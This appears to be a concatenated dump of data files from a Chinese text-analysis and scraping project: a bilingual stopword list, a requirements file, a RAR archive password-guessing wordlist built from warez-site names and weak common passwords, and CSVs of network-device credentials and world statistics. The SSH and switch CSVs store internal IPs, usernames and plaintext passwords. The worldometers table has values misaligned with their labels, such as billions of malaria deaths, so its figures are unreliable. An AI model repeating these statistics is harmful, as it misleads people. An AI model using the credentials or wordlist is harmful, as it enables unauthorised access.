    something
    sometime
    sometimes
    somewhat
    somewhere
    soon
    sorry
    specified
    specify
    specifying
    still
    such
    sure
    take
    taken
    tell
    tends
    th
    than
    thank
    thanks
    thanx
    that
    thats
    that's
    the
    their
    theirs
    them
    themselves
    then
    thence
    there
    thereafter
    thereby
    therefore
    therein
    theres
    there's
    thereupon
    these
    they
    they'd
    they'll
    they're
    they've
    think
    third
    this
    thorough
    thoroughly
    those
    though
    three
    through
    throughout
    thru
    thus
    to
    together
    too
    took
    toward
    towards
    tried
    tries
    truly
    try
    trying
    t's
    twice
    two
    un
    under
    unfortunately
    unless
    unlikely
    until
    unto
    up
    upon
    us
    use
    used
    useful
    uses
    using
    usually
    value
    various
    very
    via
    viz
    vs
    want
    wants
    was
    wasn't
    way
    we
    we'd
    welcome
    well
    we'll
    went
    were
    we're
    weren't
    we've
    what
    whatever
    what's
    when
    whence
    whenever
    where
    whereafter
    whereas
    whereby
    wherein
    where's
    whereupon
    wherever
    whether
    which
    while
    whither
    who
    whoever
    whole
    whom
    who's
    whose
    why
    will
    willing
    wish
    with
    within
    without
    wonder
    won't
    would
    wouldn't
    yes
    yet
    you
    you'd
    you'll
    your
    you're
    yours
    yourself
    yourselves
    you've
    zero
    zt
    ZT
    zz
    ZZ
    一下
    一天
    一定
    一时
    一次
    一片
    一致
    一起
    一边
    一面
    上升
    上去
    上来
    上述
    上面
    下列
    下去
    下来
    下面
    不一
    不久
    不会
    不变
    不可
    不同
    不够
    不得
    不敢
    不断
    不是
    不能
    不要
    不足
    专门
    严格
    严重
    个人
    个别
    中小
    中间
    丰富
    为主
    为什麽
    主张
    主要
    举行
    之前
    之后
    之後
    也是
    了解
    争取
    互相
    产生
    人们
    什麽
    今后
    今天
    今年
    今後
    仍然
    从事
    他的
    代替
    以上
    以下
    以为
    以前
    以后
    以外
    以後
    以来
    任务
    企图
    伟大
    似乎
    你的
    使用
    依靠
    促进
    保持
    做到
    允许
    充分
    先后
    先後
    先生
    全部
    全面
    共同
    其实
    具体
    具有
    决定
    准备
    几乎
    出去
    出来
    出现
    分别
    前进
    前面
    加以
    加入
    加强
    十分
    却不
    原来
    及时
    双方
    反应
    反映
    取得
    受到
    变成
    叫做
    召开
    可能
    各人
    各地
    各级
    合理
    同一
    同样
    后来
    后面
    周围
    坚决
    坚持
    基本
    处理
    复杂
    多数
    多次
    大力
    大多数
    大大
    大家
    大批
    大约
    大量
    失去
    她的
    好的
    好象
    如下
    存在
    它们的
    它的
    安全
    完全
    完成
    实现
    实际
    宣布
    容易
    密切
    对应
    少数
    尤其
    属于
    左右
    巨大
    巩固
    已经
    帮助
    常常
    并不
    并不是
    并没有
    广大
    广泛
    应当
    应用
    应该
    开展
    引起
    强烈
    强调
    当前
    当时
    当然
    形成
    彻底
    往往
    後来
    後面
    得出
    得到
    心里
    必然
    必要
    必须
    怎麽
    总是
    总结
    意思
    愿意
    成为
    我的
    战斗
    所有
    所谓
    扩大
    掌握
    接著
    整个
    方便
    方面
    无法
    明显
    明确
    是否
    显然
    显著
    普通
    普遍
    更加
    曾经
    最后
    最大
    最好
    最後
    最近
    最高
    有利
    有力
    有所
    有效
    有时
    有点
    有着
    有著
    构成
    根本
    欢迎
    正在
    正常
    此时
    每个
    每天
    每年
    比较
    毫不
    没有
    注意
    深入
    清楚
    满足
    然後
    特别是
    特殊
    特点
    现代
    现在
    目前
    直到
    直接
    相似
    相信
    相反
    相同
    相对
    相应
    相当
    相等
    看出
    看到
    看来
    看看
    看见
    真是
    真正
    知道
    确定
    积极
    移动
    突出
    突然
    立即
    练习
    组成
    经常
    结合
    绝对
    继续
    维持
    考虑
    联系
    能否
    能够
    良好
    范围
    获得
    行为
    行动
    表明
    表示
    要求
    规定
    觉得
    认为
    认真
    认识
    说明
    起来
    转动
    转变
    转贴
    达到
    迅速
    过去
    过来
    运用
    这点
    这种
    这麽
    进入
    进步
    进行
    适应
    适当
    适用
    逐步
    逐渐
    通常
    造成
    遇到
    遭到
    避免
    那麽
    部分
    采取
    里面
    重大
    重新
    重要
    问题
    防止
    附近
    限制
    随著
    集中
    需要
    非常
    高兴
    是不是
    说说
    $
    0
    1
    2
    3
    4
    5
    6
    7
    8
    9
    _
    一何
    一转眼
    上
    下
    不
    不外乎
    不妨
    不尽
    不尽然
    不料
    不至于
    不若
    与其说
    且不说
    且说
    为止
    为此
    乃至于
    二来
    云尔
    些
    亦
    人
    今
    介于
    仍
    仍旧
    从此
    以故
    以期
    但凡
    何以
    余外
    使
    依据
    便于
    傥然
    儿
    先不先
    光是
    全体
    兼之
    内
    再
    再其次
    再则
    再有
    再者说
    凡
    凡是
    出于
    则甚
    别人
    别处
    别是
    别管
    前此
    即如
    却
    去
    又及
    反而
    另悉
    只
    只当
    只怕
    只消
    后
    后者
    向使
    呵呵
    咧
    唯有
    啷当
    喽
    嗡
    嘿嘿
    因了
    因着
    在于
    基于
    处在
    多么
    大
    好
    如上
    如同
    如是
    始而
    孰料
    孰知
    对待
    对方
    对比
    小
    尔
    尔尔
    就是了
    就算
    就要
    尽管如此
    已
    已矣
    巴
    巴巴
    并非
    庶乎
    庶几
    归齐
    当地
    彼时
    很
    得了
    怎奈
    惟其
    或则
    或曰
    截至
    所在
    所幸
    才
    才能
    打从
    据此
    故而
    无
    既往
    是以
    曾
    替代
    最
    有及
    本人
    本地
    本身
    来自
    来说
    某某
    欤
    正值
    正巧
    正是
    此地
    此处
    此次
    比及
    没奈何
    犹且
    犹自
    甚且
    甚或
    甚至于
    用来
    由是
    由此
    的确
    看
    眨眼
    矣乎
    矣哉
    竟而
    等到
    简言之
    类如
    继之
    继后
    而后
    自后
    自打
    至今
    至若
    致
    般的
    若夫
    若果
    莫不然
    莫如
    譬喻
    譬如
    设或
    诚如
    诚然
    说来
    诸
    诸如
    谁人
    谁料
    贼死
    赖以
    距
    还
    还要
    这一来
    这次
    这般
    遵循
    那般
    都
    针对
    除外
    除开
    随后
    随时
    难道说
    非特
    非独
    打开天窗说亮话
    到目前为止
    赶早不赶晚
    常言说得好
    何乐而不为
    毫无保留地
    一则通过
    毫无例外
    不然的话
    从此以后
    从古到今
    从古至今
    从今以后
    大张旗鼓
    从无到有
    从早到晚
    弹指之间
    不亦乐乎
    不知不觉
    不止一次
    不择手段
    不可开交
    不可抗拒
    不仅仅是
    不管怎样
    挨家挨户
    长此下去
    长话短说
    除此而外
    除此以外
    得天独厚
    川流不息
    长期以来
    挨门挨户
    挨门逐户
    多多少少
    多多益善
    二话不说
    更进一步
    二话没说
    分期分批
    风雨无阻
    归根到底
    归根结底
    反之亦然
    大面儿上
    倒不如说
    成年累月
    或多或少
    简而言之
    接连不断
    尽如人意
    尽心竭力
    尽心尽力
    据我所知
    具体来说
    近几年来
    每时每刻
    屡次三番
    三番两次
    三番五次
    三天两头
    老老实实
    年复一年
    顷刻之间
    穷年累月
    千万千万
    日复一日
    如此等等
    如前所述
    切不可
    顷刻间
    全身心
    另方面
    另一个
    猛然间
    默默地
    近年来
    尽可能
    接下来
    急匆匆
    即是说
    基本上
    充其极
    充其量
    暗地里
    反之则
    比如说
    背地里
    背靠背
    不得不
    不得了
    不得已
    不仅仅
    不经意
    不能不
    不由得
    不怎么
    策略地
    差不多
    常言道
    常言说
    多年来
    多年前
    差一点
    敞开儿
    抽冷子
    大不了
    反倒是
    大体上
    当口儿
    倒不如
    怪不得
    动不动
    看起来
    看上去
    看样子
    够瞧的
    到了儿
    呆呆地
    来不及
    来得及
    到头来
    连日来
    再次
    您们
    你是
    您是
    我是
    他是
    她是
    它是
    啊哈
    啊呀
    啊哟
    挨次
    挨个
    挨着
    按理
    按期
    默然
    按时
    按说
    暗中
    暗自
    昂然
    八成
    倍感
    倍加
    必定
    比起
    比照
    毕竟
    必将
    并肩
    并没
    并排
    并无
    勃然
    不必
    不常
    不大
    不迭
    不定
    不对
    不力
    不了
    不满
    不免
    不起
    不巧
    不日
    不少
    不胜
    不时
    不外
    不下
    不限
    不消
    不已
    不再
    不曾
    不止
    彻夜
    趁便
    趁机
    趁热
    趁势
    趁早
    成心
    乘机
    乘势
    乘隙
    乘虚
    迟早
    除此
    除去
    除却
    处处
    传说
    传闻
    纯粹
    此后
    此中
    次第
    匆匆
    从不
    从宽
    从来
    从轻
    从速
    从头
    从未
    从小
    从新
    从严
    从优
    从中
    从重
    凑巧
    存心
    达旦
    大抵
    大都
    大多
    大凡
    大概
    大举
    大略
    大致
    待到
    单纯
    单单
    但愿
    当场
    当儿
    当即
    当庭
    当头
    当下
    当真
    当中
    倒是
    到处
    到底
    到头
    得起
    顶多
    动辄
    陡然
    独自
    断然
    顿时
    多多
    多亏
    而论
    而又
    尔等
    反倒
    反手
    方才
    方能
    非得
    分头
    奋勇
    愤然
    更为
    各式
    刚才
    敢情
    该当
    嘎嘎
    赶快
    敢于
    刚好
    刚巧
    高低
    格外
    隔日
    隔夜
    公然
    过于
    共总
    姑且
    故意
    惯常
    毫无
    很多
    何须
    好在
    何必
    何尝
    何妨
    何苦
    何止
    很少
    轰然
    呼啦
    哗啦
    忽地
    忽然
    话说
    伙同
    豁然
    恍然
    或许
    极大
    极度
    极端
    极力
    极其
    极为
    即将
    即刻
    几度
    几番
    几经
    加上
    间或
    将才
    简直
    将近
    将要
    交口
    较比
    较为
    皆可
    截然
    藉以
    借此
    借以
    届时
    尽快
    近来
    进来
    进去
    尽量
    尽然
    居然
    就此
    就地
    竟然
    究竟
    尽早
    精光
    局外
    举凡
    据称
    据实
    据说
    可好
    绝不
    决不
    据悉
    决非
    绝顶
    绝非
    恐怕
    来讲
    来看
    快要
    拦腰
    牢牢
    老是
    累次
    累年
    理当
    理该
    理应
    立地
    立刻
    立马
    立时
    联袂
    连连
    连日
    路经
    临到
    连声
    连袂
    另行
    屡次
    屡屡
    缕缕
    率尔
    率然
    略加
    略微
    略为
    论说
    马上
    猛然
    每逢
    每每
    莫不
    莫非
    那末
    难道
    难得
    难怪
    难说
    凝神
    偶而
    偶尔
    碰巧
    偏偏
    平素
    迫于
    扑通
    其后
    起初
    起首
    起头
    起先
    岂非
    岂止
    恰逢
    恰好
    恰恰
    恰巧
    恰如
    恰似
    切莫
    切切
    切勿
    亲口
    亲身
    亲手
    亲眼
    亲自
    顷刻
    请勿
    取道
    权时
    全都
    全力
    全年
    全然
    人人
    日见
    日渐
    日益
    日臻
    如常
    如次
    如今
    如期
    瑟瑟
    沙沙
    甭
    会
    砰
    〈
    一种
    七
    三
    中
    九
    二
    五
    什
    他们们
    借傥然
    做
    光
    八
    六
    共
    关于具体地说
    分
    区
    含
    四
    年
    日
    时
    更
    月
    点
    秒
    称
    说
    请
    零
    非
    ︿
    $
    0
    1
    2
    3
    4
    5
    6
    7
    8
    9
    @
    {
    |
    ¥
    
    
    ================================================
    FILE: d-txt/rarpasswd.txt
    ================================================
    52pojie
    52PoJie
    www.jb51.net
    www.greenxf.com
    sd173
    www.sd173.com
    www.onlinedown.net
    www.itmop.com
    itmop.com
    zd423
    zdfans
    rsload
    www.cr173.com
    ali213
    ali213.net
    www.ali213.net
    3dm
    3dmgame.com
    www.3dmgame.com
    www.962.net
    www.3h3.com
    online-fix.me
    www.winwin7.com
    www.downcc.com
    www.downxia.com
    www.downza.cn
    www.acggame.top
    laoquzhang.com
    www.freegamesdl.net
    www.mayx.xyz
    www.markyx.com
    www.gamersky.com
    gamersky.com
    www.yxdown.com
    xxxxx520.com
    sordum
    YPOJIE
    3519
    123
    321
    111
    12345
    123456
    123456789
    88888888
    99999999
    115
    136
    199
    188
    000
    007
    ...
    456
    567
    789
    555
    520
    521
    502
    404
    666
    886
    888
    996
    999
    1234
    1314
    1999
    2345
    4444
    0000
    3000
    4399
    8848
    8888
    7080
    8090
    9999
    ......
    ak47
    m4a1
    aaa
    aaaaa
    asd
    hhh
    zzz
    sss
    ssr
    hahaha
    asdf
    hehe
    qwer
    yyds
    pass
    passwd
    joker
    P@ssw0rd
    password
    
    
    
    ================================================
    FILE: d-txt/requirements.txt
    ================================================
    bs4
    jieba
    stanza
    thulac
    selenium
    DrissionPage
    webdriver-manager
    openpyxl
    requests
    snownlp
    urllib3
    you-get
    lxml
    wordcloud
    matplotlib
    statistics
    pandas
    selectolax
    fitz
    frontend
    PyMuPDF
    wxPython
    pysimplegui
    
    
    ================================================
    FILE: d-xlsx/SSH登记表.csv
    ================================================
    X楼接入1,xlou-jieru1,172.16.6.31,yonghuming,Mima12345@,2399
    X楼接入2,xlou-jieru2,172.16.6.32,yonghuming,Mima12345@,2399
    X楼接入3,xlou-jieru3,172.16.6.33,yonghuming,Mima12345@,2399
    
    
    ================================================
    FILE: d-xlsx/worldometers_2023-4-27.csv
    ================================================
    Column A,Column B
    "目前世界人口总数
    ",8.029.829.481
    "今年出生的人数
    ",42.740.166
    "今天出生的人数
    ",156.993
    "今年死亡的人数
    ",21.402.273
    "今天死亡的人数
    ",78.615
    "今年增加的人数
    ",21.337.893
    "今天全世界政府的医疗支出总额(美元)
    ",7.057.632.550
    "今天全世界政府的教育支出总额(美元)
    ",4.728.183.769
    "今天全世界政府的军事支出总额(美元)
    ",2.029.373.978
    "今年汽车产量
    ",21.607.484
    "今年自行车产量
    ",44.543.807
    "今年电子计算机销售量
    
    ",112.470.574
    "今年出版书目总量
    
    ",885.673
    "今天报刊发行总量
    
    ",198.432.271
    "今天电视机销售量
    
    ",288.004
    "今天手机销售量
    
    ",3.130.615
    "今天电子游戏消费额(美元)
    
    ",135.597.862
    "世界网络用户总数
    
    ",5.698.621.347
    "今天发出的电子邮件数
    
    ",125.419.641.965
    "今天上传的博客数
    
    ",4.089.761
    "今天发出的推特数
    
    ",389.336.752
    "今天谷歌搜索次数
    
    ",4.174.910.304
    "今年被砍伐森林面积(公顷)
    
    ",1.658.787
    "今年由于水土流失而损失的耕地面积(公顷)
    
    ",2.233.176
    "今年二氧化碳排放量(吨)
    
    
    ",11.646.440.756
    "今年沙漠化的土地面积(公顷)
    
    ",3.827.583
    "今年工业上被排放进入生态环境的有毒化学品(吨)
    
    ",3.123.428
    "目前世界上营养不良的人数
    
    ",869.228.993
    "目前世界上肥胖的人数
    
    ",1.743.338.015
    "目前世界上过度肥胖的人数
    
    ",833.837.970
    "今天死于饥饿的人数
    
    ",13.102
    "今天美国用于治疗过度肥胖引起的疾病的支出
    
    ",274.996.688
    "今天美国用于减肥的支出
    
    ",80.994.273
    "今年消耗的水量(十亿升)
    
    ",5.345.272
    "今年因水源相关的疾病而致死的人数
    
    ",268.585
    "目前无法获取安全饮用水的人数
    ",773.470.588
    "今天世界范围内使用的能量(兆瓦时),其中
    
    ",199.973.086
    来自不可再生能源(兆瓦时),170.228.383
    来自可再生能源(兆瓦时),30.114.203
    "今天地球上接收到的太阳能(兆瓦时)
    
    ",1.253.041.297.062
    "今天开采的石油(桶)
    
    ",41.014.436
    "剩余石油储量(桶)
    
    ",1.405.543.657.342
    "离石油耗尽的天数
    
    ",14.658
    "剩余天然气储量(油气当量)
    
    ",1.075.462.206.969
    "离天然气耗尽的天数
    
    ",56.603
    "剩余煤炭储量(油气当量)
    
    ",4.285.360.461.552
    "离煤炭耗尽的天数
    
    ",147.771
    "今年由于传染病而造成的死亡人数
    
    ",4.140.428
    "今年五岁以下儿童死亡人数
    
    ",2.424.303
    "今年堕胎数
    
    ",14.205.124
    "今年生育过程中母亲死亡人数
    
    ",44.506.795
    "感染艾滋病的人数
    
    ",536.163
    "今年由艾滋病致死的人数
    
    ",2.619.455
    "今年由癌症致死的人数
    
    ",125.772
    "今年由疟疾致死的人数
    
    ",6.485.232.120
    "今天香烟消耗量
    
    ",1.594.407
    "今年由吸烟而造成的死亡人数
    
    ",797.706
    "今年由酗酒而造成的死亡人数
    
    ",342.018
    "今年自杀人数
    
    ",127.592.794.664
    "今年全世界在非法药物上的花费
    
    ",430.54
    
    ================================================
    FILE: d-xlsx/交换机账号清单.csv
    ================================================
    name,ip,port,username,password
    1楼监控核心,192.168.100.1,21,huchenglong,hcl123456
    1楼监控接入1,192.168.100.2,21,huchenglong,hcl123456
    2楼监控接入1,192.168.100.3,21,huchenglong,hcl123456
    2楼监控接入2,192.168.100.4,21,huchenglong,hcl123456